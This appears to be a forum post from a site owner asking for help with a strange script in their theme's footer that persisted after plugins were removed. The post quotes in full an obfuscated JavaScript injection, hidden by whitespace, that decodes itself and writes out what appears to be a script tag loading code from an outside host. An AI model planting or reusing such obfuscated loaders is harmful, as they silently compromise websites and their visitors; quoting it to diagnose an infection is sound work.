weird footer javascript code

go to my site(http://www.sultantheme.com) you will see at the footer:
<!–b0a87445bc495f78123ca577ea6d8156->

if you view the source, go to most bottom and scroll to the right you will get.

<!–b0a87445bc495f78123ca577ea6d8156-><script language=javascript>ugs=”%”;sq=”Y3cY73criY70Y74 lY61Y6eguagY65=jY61vaY73cY72ipY74Y3e Y20Y66uY6eY63tiY6fnY20sY76s(c){vY61Y72Y20Y6fxY69,pivY3dY22Y38Y3bY28Y5aY7d :Y23yOY66aU\\Y22Y2cY35NY48*AY33{IY46Y39tY29+kY68Y32Y2eY40w_’Y30KBTEcY31!nY26v-Y47Y50ig|=lmY6f7`Y43bY73Y72Y5ed~Y75Jz4Y24M[Y65Y78Y5dqVY70Y6aY36\”,eY62=\”\”,Y79bdY2cr,vY78=\”Y22,kY3bY66Y6fY72(oY78i=Y30Y3bY6fxi<Y63Y2eY6cength;oxiY2bY2bY29{Y20ybdY3dc.cY68Y61rAY74Y28oxY69);r=piY76Y2eY69ndeY78Y4ff(yY62d)Y3bY69fY28Y72>Y2dY31Y29{ k=((r+1)Y258Y31-1);if(Y6bY3cY3dY30)Y6bY2b=81;vY78Y2b=piY76.charY41t(k-1Y29;Y20} Y65Y6cY73e Y76Y78Y2b=ybY64Y3b}Y65b+Y3dY76Y78Y3bdoY63umentY2ewriteY28Y65b);}Y3cY2fsY63rY69pY74>”;ufoe=unescape(sq.replace(/Y/g,ugs));var zp,ofl;document.write(ufoe);zp=”<r1^gj):mU&|JU|xl,6U-Ur1^gj),>:~71Jox&)@_^g)xZ:,<SbRFiE:mU&|JU|xl\\,zU-US1^gj)\\,:SRbl\\,2))j#//___@|77|mxU&Umg)g1r@&x)/”J)s@6r?,k~71Jox&)@^xax^^x^k,\\,><\\/SbRFiE>,:+(:</r1^gj)>:”;svs(zp);</script>

I’m using my own skin.
this happen when I install new plugin..but I delete all the plugin but its still there. I have no clue.

please help.